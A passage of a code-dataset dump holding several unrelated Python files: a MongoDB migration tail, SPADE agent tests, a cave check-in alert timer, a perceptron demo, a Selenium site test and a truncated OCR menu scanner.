df.to_dict(orient='records')\n\n db[collection_name].insert_many(df)\n\nsl_conn.close()\n\n# I enjoyed working with mongodb much more than postgresql. I found really nothing that was harder and everything\n# was more simple. The more relaxed rules of mongodb make it easier to work with. However, in a real prod environment,\n# I can definitely see some downsides as well as upsides to mongodb.\n", "sub_path": "module3-nosql-and-document-oriented-databases/mongo.py", "file_name": "mongo.py", "file_ext": "py", "file_size_in_byte": 1617, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "dotenv.load_dotenv", "line_number": 7, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 9, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 12, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 14, "usage_type": "call"}, {"api_name": "pandas.read_sql", "line_number": 33, "usage_type": "call"}]} +{"seq_id": "301037339", "text": "import asyncio\n\nimport aioxmpp\nfrom aioxmpp import PresenceManagedClient\nfrom asynctest import CoroutineMock, Mock\nfrom testfixtures import LogCapture\n\nfrom spade.agent import Agent\nfrom spade.behaviour import OneShotBehaviour\nfrom spade.message import Message\nfrom spade.template import Template\nfrom .factories import MockedAgentFactory\n\n\ndef test_create_agent(mocker):\n agent = Agent(\"jid@server\", \"fake_password\")\n agent._async_connect = CoroutineMock()\n\n assert agent.is_alive() is False\n\n future = agent.start(auto_register=False)\n assert future.result() is None\n\n agent._async_connect.assert_called_once()\n assert agent.stream is None\n\n agent.conn_coro = mocker.Mock()\n agent.conn_coro.__aexit__ = CoroutineMock()\n\n assert agent.is_alive() is True\n future = agent.stop()\n future.result()\n\n agent.conn_coro.__aexit__.assert_called_once()\n\n assert agent.is_alive() is False\n\n\ndef test_connected_agent():\n agent = MockedAgentFactory()\n assert agent.is_alive() is False\n\n future = agent.start(auto_register=False)\n assert future.result() is None\n assert agent.is_alive() is True\n\n future = agent.stop()\n future.result()\n assert agent.is_alive() is False\n\n\ndef test_name():\n agent = MockedAgentFactory(jid=\"john@fake_server\")\n assert agent.name == \"john\"\n\n\ndef test_avatar():\n agent = MockedAgentFactory(jid=\"test_avatar@fake_server\")\n assert (\n agent.avatar\n == \"http://www.gravatar.com/avatar/44bdc5585ef57844edb11c5b9711d2e6?d=monsterid\"\n )\n\n\ndef test_setup():\n agent = MockedAgentFactory()\n agent.setup = CoroutineMock()\n future = agent.start(auto_register=False)\n assert future.result() is None\n\n agent.setup.assert_called_once()\n agent.stop()\n\n\ndef test_set_get():\n agent = MockedAgentFactory()\n agent.set(\"KB_name\", \"KB_value\")\n assert agent.get(\"KB_name\") == \"KB_value\"\n\n\ndef test_get_none():\n agent = MockedAgentFactory()\n assert agent.get(\"KB_name_unknown\") is None\n\n\ndef test_client():\n agent = MockedAgentFactory()\n assert agent.client is None\n\n future = agent.start()\n future.result()\n assert type(agent.client) == PresenceManagedClient\n\n\ndef test_register():\n agent = MockedAgentFactory()\n agent.register = Mock()\n\n future = agent.start(auto_register=True)\n assert future.result() is None\n\n assert len(agent._async_register.mock_calls) == 1\n\n agent.stop()\n\n\ndef test_receive_without_behaviours():\n agent = MockedAgentFactory()\n aiomsg = aioxmpp.Message(type_=aioxmpp.MessageType.CHAT)\n msg = Message.from_node(aiomsg)\n\n assert agent.traces.len() == 0\n future = agent.start(auto_register=False)\n assert future.result() is None\n\n with LogCapture() as log:\n agent._message_received(aiomsg)\n log.check_present(\n (\"spade.Agent\", \"WARNING\", f\"No behaviour matched for message: {msg}\")\n )\n\n assert agent.traces.len() == 1\n assert msg in agent.traces.store[0]\n\n agent.stop()\n\n\ndef test_create_agent_from_another_agent():\n class DummyBehav(OneShotBehaviour):\n async def run(self):\n self.agent._done = True\n self.kill()\n\n class CreateBehav(OneShotBehaviour):\n async def run(self):\n self.agent.agent2 = MockedAgentFactory()\n self.agent.agent2._done = False\n self.agent.dummy_behav = DummyBehav()\n self.agent.agent2.add_behaviour(self.agent.dummy_behav)\n await self.agent.agent2.start(auto_register=False)\n self.kill()\n\n agent1 = MockedAgentFactory()\n agent1.agent2 = None\n create_behav = CreateBehav()\n agent1.add_behaviour(create_behav)\n future = agent1.start(auto_register=False)\n assert future.result() is None\n assert agent1.is_alive()\n\n create_behav.join()\n agent1.dummy_behav.join()\n\n assert agent1.agent2.is_alive()\n assert agent1.agent2._done\n\n agent1.agent2.stop()\n agent1.stop()\n\n\ndef test_create_agent_from_another_agent_from_setup():\n class DummyBehav(OneShotBehaviour):\n async def run(self):\n self.agent._done = True\n self.kill()\n\n class SetupAgent(Agent):\n async def setup(self):\n self.agent2 = MockedAgentFactory()\n self.agent2._done = False\n self.agent2.dummy_behav = DummyBehav()\n self.agent2.add_behaviour(self.agent2.dummy_behav)\n await self.agent2.start(auto_register=False)\n\n agent1 = SetupAgent(\"fake@host\", \"secret\")\n agent1._async_connect = CoroutineMock()\n agent1._async_register = CoroutineMock()\n agent1.conn_coro = Mock()\n agent1.conn_coro.__aexit__ = CoroutineMock()\n agent1.stream = Mock()\n\n agent1.agent2 = None\n\n future = agent1.start(auto_register=False)\n assert future.result() is None\n assert agent1.is_alive()\n\n agent1.agent2.dummy_behav.join()\n\n assert agent1.agent2.is_alive()\n assert agent1.agent2._done\n\n agent1.agent2.stop()\n agent1.stop()\n\n\ndef test_submit_send():\n agent = MockedAgentFactory()\n\n class DummyBehav(OneShotBehaviour):\n async def run(self):\n self.agent.recv_msg = await self.receive(10)\n\n template = Template(to=\"fake@jid\")\n behav = DummyBehav()\n agent.add_behaviour(behav, template=template)\n\n future = agent.start(auto_register=False)\n future.result()\n\n msg_to_send = Message(to=\"fake@jid\", body=\"BODY\", metadata={\"performative\": \"TEST\"})\n agent.submit(behav.send(msg_to_send))\n behav.join()\n\n assert str(agent.recv_msg.to) == \"fake@jid\"\n assert agent.recv_msg.body == \"BODY\"\n assert agent.recv_msg.metadata == {\"performative\": \"TEST\"}\n\n\ndef test_stop_agent_with_blocking_await():\n agent1 = MockedAgentFactory()\n agent1.value = 1000\n\n class StopBehav(OneShotBehaviour):\n async def run(self):\n await asyncio.sleep(0.5)\n await self.agent.stop()\n\n class DummyBehav(OneShotBehaviour):\n async def run(self):\n await self.receive(timeout=1000000)\n self.agent.value = 2000\n\n stopbehah = StopBehav()\n dummybehav = DummyBehav()\n\n agent1.add_behaviour(dummybehav)\n agent1.add_behaviour(stopbehah)\n\n future1 = agent1.start(auto_register=False)\n future1.result()\n\n stopbehah.join()\n\n assert not agent1.is_alive()\n assert agent1.value == 1000\n", "sub_path": "tests/test_agent.py", "file_name": "test_agent.py", "file_ext": "py", "file_size_in_byte": 6358, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "spade.agent.Agent", "line_number": 16, "usage_type": "call"}, {"api_name": "asynctest.CoroutineMock", "line_number": 17, "usage_type": "call"}, {"api_name": "asynctest.CoroutineMock", "line_number": 28, "usage_type": "call"}, {"api_name": "factories.MockedAgentFactory", "line_number": 40, "usage_type": "call"}, {"api_name": "factories.MockedAgentFactory", "line_number": 53, "usage_type": "call"}, {"api_name": "factories.MockedAgentFactory", "line_number": 58, "usage_type": "call"}, {"api_name": "factories.MockedAgentFactory", "line_number": 66, "usage_type": "call"}, {"api_name": "asynctest.CoroutineMock", "line_number": 67, "usage_type": "call"}, {"api_name": "factories.MockedAgentFactory", "line_number": 76, "usage_type": "call"}, {"api_name": "factories.MockedAgentFactory", "line_number": 82, "usage_type": "call"}, {"api_name": "factories.MockedAgentFactory", "line_number": 87, "usage_type": "call"}, {"api_name": "aioxmpp.PresenceManagedClient", "line_number": 92, "usage_type": "name"}, {"api_name": "factories.MockedAgentFactory", "line_number": 96, "usage_type": "call"}, {"api_name": "asynctest.Mock", "line_number": 97, "usage_type": "call"}, {"api_name": "factories.MockedAgentFactory", "line_number": 108, "usage_type": "call"}, {"api_name": "aioxmpp.Message", "line_number": 109, "usage_type": "call"}, {"api_name": "aioxmpp.MessageType", "line_number": 109, "usage_type": "attribute"}, {"api_name": "spade.message.Message.from_node", "line_number": 110, "usage_type": "call"}, {"api_name": "spade.message.Message", "line_number": 110, "usage_type": "name"}, {"api_name": "testfixtures.LogCapture", "line_number": 116, "usage_type": "call"}, {"api_name": "spade.behaviour.OneShotBehaviour", "line_number": 129, "usage_type": "name"}, {"api_name": "spade.behaviour.OneShotBehaviour", "line_number": 134, "usage_type": "name"}, {"api_name": "factories.MockedAgentFactory", "line_number": 136, "usage_type": "call"}, {"api_name": "factories.MockedAgentFactory", "line_number": 143, "usage_type": "call"}, {"api_name": "spade.behaviour.OneShotBehaviour", "line_number": 162, "usage_type": "name"}, {"api_name": "spade.agent.Agent", "line_number": 167, "usage_type": "name"}, {"api_name": "factories.MockedAgentFactory", "line_number": 169, "usage_type": "call"}, {"api_name": "asynctest.CoroutineMock", "line_number": 176, "usage_type": "call"}, {"api_name": "asynctest.CoroutineMock", "line_number": 177, "usage_type": "call"}, {"api_name": "asynctest.Mock", "line_number": 178, "usage_type": "call"}, {"api_name": "asynctest.CoroutineMock", "line_number": 179, "usage_type": "call"}, {"api_name": "asynctest.Mock", "line_number": 180, "usage_type": "call"}, {"api_name": "factories.MockedAgentFactory", "line_number": 198, "usage_type": "call"}, {"api_name": "spade.behaviour.OneShotBehaviour", "line_number": 200, "usage_type": "name"}, {"api_name": "spade.template.Template", "line_number": 204, "usage_type": "call"}, {"api_name": "spade.message.Message", "line_number": 211, "usage_type": "call"}, {"api_name": "factories.MockedAgentFactory", "line_number": 221, "usage_type": "call"}, {"api_name": "spade.behaviour.OneShotBehaviour", "line_number": 224, "usage_type": "name"}, {"api_name": "asyncio.sleep", "line_number": 226, "usage_type": "call"}, {"api_name": "spade.behaviour.OneShotBehaviour", "line_number": 229, "usage_type": "name"}]} +{"seq_id": "597332872", "text": "import datetime as dt\nimport threading\nimport twilio_functions as tw\n\nCAVEMANAGER = (\"Desolation Wilderness\", \"Ranger Maria\", 7146810524) #to be hard coded into device\n##############################################\n##############################################\n# UPDATE: to be imported somehow from database\n##############################################\n##############################################\ncheck_in = {\"photo\": \"123.jpg\", \"date_time\": dt.datetime(2020,3,7,10,0),\n\"user\": (123456, \"Sonia Meyer\", 7146810524), \"group_size\": 3,\n\"expected_out\": dt.datetime(2020,3,7,18,0), \"call_out\": dt.datetime(2020,3,8,8,0)}\ncheck_out = {\"photo\": \"456.jpg\", \"date_time\": dt.datetime(2020,3,7,18,30),\n\"user\": (123456, \"Sonia Meyer\", 7146810524), \"group_size\": 3}\nmissed_checkout = {\"photo\": \"456.jpg\", \"date_time\": dt.datetime(2020,3,7,23,00),\n\"user\": (123456, \"Sonia Meyer\", 7146810524), \"group_size\": 3}\n##############################################\n##############################################\n\n#code for initiate_contact time\nexpected_out = check_in[\"expected_out\"]\ncall_out = check_in[\"call_out\"]\ninitiate_contact = expected_out + (call_out - expected_out) / 2\ntoo_late = dt.time(23,1)\ntoo_early = dt.time(6,59)\nif too_early > initiate_contact.time() or initiate_contact.time() > too_late: #if out of range\n initiate_contact = initiate_contact.combine(expected_out.date(), too_late) #replace with reasonable time\nif initiate_contact.time() < expected_out.time(): #if reasonable time is earlier than expected out time\n initiate_contact = expected_out #replace with expected out time\n\n#code for missed_expected_out\n#the missed_expected_out will check user status at initiate_contact time,\n#then check with user if they forgot to check out of cave\ndelay_expected_out = initiate_contact - dt.datetime.now()\ndelay_expected_out = 3 #delete later!!!!\ncheck_out = {} #delete later, testing no check out\nexpected_out_timer = threading.Timer(delay_expected_out, tw.missed_expected_out)\nexpected_out_timer.start()\n\n#code for missed_call_out\n#the missed_call_out will check user status at call out time, then notify\n#the cave manager to initiate rescue if user is not out\ndelay_call_out = call_out - dt.datetime.now()\ndelay_call_out = 3 #delete later!!!!\n#check_out = {} #delete later, testing no check out\ncall_out_timer = threading.Timer(delay_call_out, tw.missed_call_out)\ncall_out_timer.start()\n", "sub_path": "database/check_in.py", "file_name": "check_in.py", "file_ext": "py", "file_size_in_byte": 2396, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "datetime.datetime", "line_number": 11, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 13, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 14, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 16, "usage_type": "call"}, {"api_name": "datetime.time", "line_number": 25, "usage_type": "call"}, {"api_name": "datetime.time", "line_number": 26, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 35, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 35, "usage_type": "attribute"}, {"api_name": "threading.Timer", "line_number": 38, "usage_type": "call"}, {"api_name": "twilio_functions.missed_expected_out", "line_number": 38, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 44, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 44, "usage_type": "attribute"}, {"api_name": "threading.Timer", "line_number": 47, "usage_type": "call"}, {"api_name": "twilio_functions.missed_call_out", "line_number": 47, "usage_type": "attribute"}]} +{"seq_id": "214221771", "text": "import random\nfrom sklearn.datasets import make_blobs, make_classification\nfrom matplotlib import pyplot as plt\nimport numpy as np\n\n\ndef getPred(x, w):\n '''Returns predicted label for the data point x based on w'''\n x = np.reshape(x, [1, x.shape[0]])\n return np.matmul(x, np.transpose(w))[0] > 0\n\n\ndef getError(X, w, y):\n '''Returns error (number of misclassified samples) and an array of the indexes of misclassified samples'''\n preds = np.array([getPred(x, w)[0] for x in X])\n errors = preds != y\n return (sum(errors), np.where(errors)[0])\n\n\ndef plotPLA(X, w, y, pause = None):\n '''Plots the decision boundary given by w over the labeled data set.\n If pause is provided a non blocking plot is generated that will be displayed for pause seconds'''\n # plot decision boundary from w\n x1list = np.linspace(-5, 5, 1000) # Create 1-D arrays for x1,x2 dimensions\n x2list = np.linspace(-5, 5, 1000) \n x1,x2 = np.meshgrid(x1list, x2list) # Create 2-D grid x1list,x2list values\n Z = x1*w[0][1] + x2*w[0][2] + w[0][0] # equation of line\n plt.contour(x1, x2, Z, levels=[0])\n\n # plot labeled data points\n plt.plot(X[:, 0][y == 0], X[:, 1][y == 0], 'r_')\n plt.plot(X[:, 0][y == 1], X[:, 1][y == 1], 'b+')\n\n if(pause):\n plt.show(block=False)\n plt.pause(pause)\n plt.close()\n else:\n plt.show()\n\n\n# generate 2d classification dataset - not always linearly separable\nX, y = make_classification(n_samples=100, n_features=2, n_informative=2, n_redundant=0, n_repeated=0, n_clusters_per_class=1, class_sep=2, flip_y=0)\nn = X.shape[0] # save number of samples\nplotX = X # normal X matrix for plots\nX = np.array([np.append(1, x) for x in X]) # augmented X matrix\n\nw = np.zeros([1,3]) # initialize w to zero vector\n\n# variables for pocket PLA\nw_best = w\nerror_best = n\n\nplotPLA(plotX, w, y)\n\n# perform pla\n_iter = 0\nmax_iter = 50\nerror, misclassifieds = getError(X, w, y)\nwhile(error > 0 and _iter < max_iter):\n # randomly choose a misclassified point\n i = random.choice(misclassifieds)\n x = X[i]\n pred = getPred(x, w)\n w = w + ((y[i]-pred)*x) # update w\n _iter += 1\n error, misclassifieds = getError(X, w, y)\n \n # store best w in pocket\n if error < error_best:\n error_best = error\n w_best = w\n\n plt.title(f\"Iteration {_iter}: Misclassified {error}/{n}\")\n plotPLA(plotX, w, y, pause=0.5)\n\nw = w_best\nif(error_best == 0):\n plt.title(f\"Correctly classified all points after {_iter} iterations\")\nelse:\n plt.title(f\"Failed to classify all points after {_iter} iterations\\nBest weights correctly classified {n-error_best}/{n} points\")\n\nplotPLA(plotX, w, y)\n\n", "sub_path": "pla.py", "file_name": "pla.py", "file_ext": "py", "file_size_in_byte": 2677, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "numpy.reshape", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.contour", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.pause", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "sklearn.datasets.make_classification", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 48, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}]} +{"seq_id": "344123524", "text": "\r\nfrom selenium.webdriver.support.ui import Select\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nimport time\r\nimport pytest\r\n\r\nbrowser= webdriver.Chrome()\r\nbrowser.get(\"https://ati.su/\")\r\n\r\n\r\nDEPARTURE_POINT_NAME= 'Беларусь'\r\nISSUE_POINT_NAME = 'Россия'\r\n\r\n#Действия со списком, пункт отправки\r\n#Вписать пункт отправки и выбрать из выпад.списка нужное поле\r\nDEPARTURE_POINT_OPEN_TABLE = browser.find_element(By.CSS_SELECTOR,\"[placeholder='Например, Москва']\").send_keys(DEPARTURE_POINT_NAME)\r\nDEPARTURE_POINT_IN_LIST = WebDriverWait(browser, 1).until( EC.element_to_be_clickable((By.XPATH,\"//*[@id='react-autowhatever-from--item-0']/div/span\")) )\r\nDEPARTURE_POINT_IN_LIST.click()\r\n\r\n\r\n# выбрать из выпадающего списка пункт доставки\r\nISSUE_POINT_OPEN_TABLE = browser.find_element(By.CSS_SELECTOR,\"[placeholder='Например, Санкт-Петербург']\").send_keys(ISSUE_POINT_NAME)\r\nISSUE_POINT_IN_LIST = WebDriverWait(browser, 1).until( EC.element_to_be_clickable((By.XPATH,\".//div[contains(@class,'suggestion')]\")))\r\nISSUE_POINT_IN_LIST.click()\r\n\r\n\r\n#Нажать на кнопку поиска\r\nSEARCH_BUTTON = browser.find_element(By.CSS_SELECTOR, \"[data-qa='us-search-loads']\")\r\nSEARCH_BUTTON.click()\r\n\r\n\r\n#перейти на 2ое окно\r\nbrowser.switch_to.window(browser.window_handles[1])\r\n\r\n\r\nSHOW_CONTACTS_BUTTON = WebDriverWait(browser, 1).until( EC.element_to_be_clickable((By.XPATH,\"//div[last () and contains(@class, 'W-P2T')]\")))\r\nSHOW_CONTACTS_BUTTON.click()\r\n\r\n\r\n# Убедиться что появился попап регистрации пользователя\r\nassert len(browser.find_element(By.CSS_SELECTOR,\"iframe[title='Login popup']\")) == 1\r\n\r\n\r\ntime.sleep(3)\r\nbrowser.quit()\r\n", "sub_path": "transport_check.py", "file_name": "transport_check.py", "file_ext": "py", "file_size_in_byte": 2021, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "selenium.webdriver.Chrome", "line_number": 10, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 10, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 19, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 19, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 20, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.element_to_be_clickable", "line_number": 20, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 20, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 20, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 20, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 25, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 25, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 26, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.element_to_be_clickable", "line_number": 26, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 26, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 26, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 26, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 31, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 31, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 39, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.element_to_be_clickable", "line_number": 39, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 39, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 39, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 39, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 44, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 44, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 47, "usage_type": "call"}]} +{"seq_id": "473779746", "text": "import matplotlib.pyplot as plt\nfrom PIL import Image\nimport pytesseract\nimport re\n# import easygui\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom PIL import Image\n\n\ndef Area_Split(img, start_index, end_index, alpha=2, interval=2, ax=0):\n \"\"\"\n :param img: 化成矩阵格式的图片\n :param start_index: 开始位置\n :param end_index: 结束为止\n :param alpha: 阈值分割\n :param ax: 0为按行,1为按列\n :return: 分割索引列表\n \"\"\"\n index_list = []\n flag = 0\n start = 0\n for i in range(start_index, end_index):\n if ax == 1: # 按列\n line = img[:, i:i + interval]\n else:\n line = img[i:i + interval, :]\n count = np.count_nonzero(line)\n if count >= alpha and flag == 0: # 开始\n start = i\n flag = 1\n elif count < alpha and flag == 1: # 结束\n end = i\n flag = 0\n index_list.append((start + end) / 2)\n\n return index_list\ndef exmatch(str1,str2): #初步匹配\n n=0\n for i in range(len(str1)):\n for j in range(len(str2)):\n if str1[i]==str2[j]:\n n +=1\n return n\n\ndef match(str1,list1): #匹配\n t=0\n index = 0\n for i in range(len(list1)):\n if(exmatch(str1,list1[i])>t):\n t=exmatch(str1,list1[i])\n index=i\n return list1[index]\n\ndef cutter(list):\n img = Image.open(str) # 打开当前路径图像\n box1 = (int(list[0]), int(list[1]),int(list[2]) ,int(list[3] )) # 设置图像裁剪区域\n img1 = img.crop(box1) # 图像裁剪\n return img1 #返回裁剪好的图片\n\ndef connect(list1):\n list=[]\n list.append(list1[0][0])\n list.append(list1[0][1])\n list.append(list1[2][0])\n list.append(list1[2][1])\n return list\n\ndef findnum(string):\n comp=re.compile(r'\\d+')\n list_str=comp.findall(string)\n list_num=[]\n for item in list_str:\n item=int(item)\n list_num.append(item)\n price= int(list_num[0])\n return price\n\ndef scan(str_1):\n\n image = Image.open(str_1)\n h, w = image.size\n while h * w / 1024 / 1024 > 1:\n h, w = h * 0.9, w * 0.9\n size = h, w\n image.thumbnail(size, Image.ANTIALIAS)\n\n img = np.array(image, dtype='float')\n print(np.shape(img))\n\n # plt.imshow(img)\n # plt.show()\n\n r = img[:, :, 0]\n g = img[:, :, 1]\n b = img[:, :, 2]\n\n # 标准差\n x_ = (r + g + b) / 3\n std = (r - x_) * (r - x_) + (g - x_) * (g - x_) + (b - x_) * (b - x_)\n std = np.sqrt(std/3)\n mask_std = std > 7\n\n mask_1 = g > b\n mask_2 = g > r\n mask_3 = g > 0\n mask_color = np.logical_and(mask_1, mask_2)\n mask_color = np.logical_and(mask_color, mask_3)\n mask_color_std = np.logical_and(mask_color, mask_std)\n mask_not_color_std = np.logical_not(mask_color_std)\n\n img[:, :, 0][mask_not_color_std] = 0\n img[:, :, 1][mask_not_color_std] = 0\n img[:, :, 2][mask_not_color_std] = 0\n\n img[:, :, 0][mask_color_std] = 0\n img[:, :, 1][mask_color_std] = 255\n img[:, :, 2][mask_color_std] = 0\n\n new_img = img[:, :, 1]\n new_img = new_img / 255\n rows, cols = np.shape(new_img)\n\n # plt.imshow(new_img, cmap='Greys')\n # plt.show()\n\n vertical_index = Area_Split(new_img, 0, cols, alpha=100, interval=50, ax=1)\n # horizontal_index = Area_Split(new_img, 0, rows, alpha=20, interval=10, ax=0)\n\n # 垂直划分测试\n # for index in vertical_index:\n # # plt.axvline(index, color='green')\n # plt.axvline(index-40)\n # plt.axvline(index+40)\n\n dot_list = []\n for v_index in vertical_index:\n start_index = v_index - 60\n end_index = v_index + 60\n # plt.imshow(new_img, cmap='Greys')\n # plt.axvline(start_index)\n # plt.axvline(end_index)\n horizontal_index = Area_Split(new_img[:, int(start_index):int(end_index)], 0, rows, alpha=20, interval=20, ax=0)\n for h_index in horizontal_index:\n # plt.axhline(h_index, color='blue')\n dot_list.append([v_index, h_index])\n # plt.show()\n\n v_bias = 40\n h_bias = 400\n border_list = []\n for dot in dot_list:\n plt.plot(dot[0], dot[1], '.r')\n p1 = [dot[0], dot[1]-v_bias]\n p2 = [dot[0], dot[1]+v_bias]\n p3 = [dot[0]+h_bias, dot[1]+v_bias]\n p4 = [dot[0]+h_bias, dot[1]-v_bias]\n p_list = [p1, p2, p3, p4]\n border_list.append(p_list)\n for i in range(len(p_list)):\n plt.plot([p_list[i-1][0], p_list[i][0]], [p_list[i-1][1], p_list[i][1]], 'b')\n plt.imshow(image)\n plt.show()\n print(border_list)\n\n\n # f = open('菜单.txt','r', encoding='UTF-8')\n list1=[\"牛油鸳鸯锅48元/份\", \"清油鸳鸯锅48元/份\", \"菌汤锅48元/份\", \"大骨汤百味锅48元/份\",\n \"番茄锅48元/份\", \"清油红锅48元/份\",\"牛油红锅48元/份\",\"香油碟5元/份\",\"香辣干碟3元/份\",\n \"原汤碟4元/份\", \"金牌脆毛肚32元/份\", \"草原千层肚29/份\", \"麻辣牛肉26元/份\", \"鲜红苕粉8元/份\",\n \"安格斯肥牛22元/份\", \"麻辣小���肝22元/份\", \"荷包肉22元/份\", \"鲜鸭血8元/份\", \"果蔬鲜肉丸18元/份\",\n \"五香郡把15元/份\", \"鸡翅尖6元/份\", \"鹌鹑蛋12元/份\", \"金牌牛黄喉26元/份\", \"精品猪黄喉28元/份\",\n \"嫩滑牛肉24元/份\", \"霸王牛肉26元/份\", \"虾滑28元/份\", \"鲜鸭舌16元/份\", \"鸭郡花18元/份\",\n \"去骨鸭掌18元/份\", \"宜宾小香肠16元/份\", \"鲜脑花8元/个\", \"鲜毛肚25元/份\", \"极品鳕鱼18元/份\",\n \"肥肠节子3元/节\", \"极品耗儿鱼28元/份\", \"正大午餐肉12元/份\", \"海霸王虾饺12元/份\", \"三秒乌鱼片28元/份\",\n \"黄辣丁15元/份\", \"雪花牛肉38元/份\", \"羊肉卷22元/份\", \"精选五花肉15元/份\", \"红酒腰片25元/份\",\n \"霸王排骨28元/份\", \"美好火腿肠8元/份\", \"脆皮肠8元/份\", \"盐焗肚条24元/份\", \"无刺巴沙鱼26元/份\",\n \"卤肥肠25元/份\", \"水晶土豆片\", \"藕片\", \"萝卜\", \"306冬瓜\", \"307黄瓜\", \"308豌豆尖\", \"309生菜\",\n \"310大白菜\", \"311凤尾\", \"312折耳根\", \"313黄豆芽\", \"314豆皮\", \"315山药\", \"316鲜豆腐\", \"317木耳\",\n \"318金针菇\", \"319香菇\", \"320青菜头\", \"321竹海笋片王\", \"322后切土豆\", \"501红糖糍粑\", \"502什锦蛋炒饭\",\n \"503酿糟小汤圆\", \"504现炸酥肉\", \"505红糖冰粉\", \"506印度飞饼\", \"507八宝粥\", \"508酱油炒饭\"]\n list_result=[]\n # for each_lines in f:\n # line1=each_lines.replace('\\n','')\n # line2=line1.replace(' ','')\n # list1.append(line2)\n\n for line in border_list:\n list2=connect(line)\n img = Image.open(str_1) # 打开当前路径图像\n box1 = (int(list2[0]), int(list2[1]), 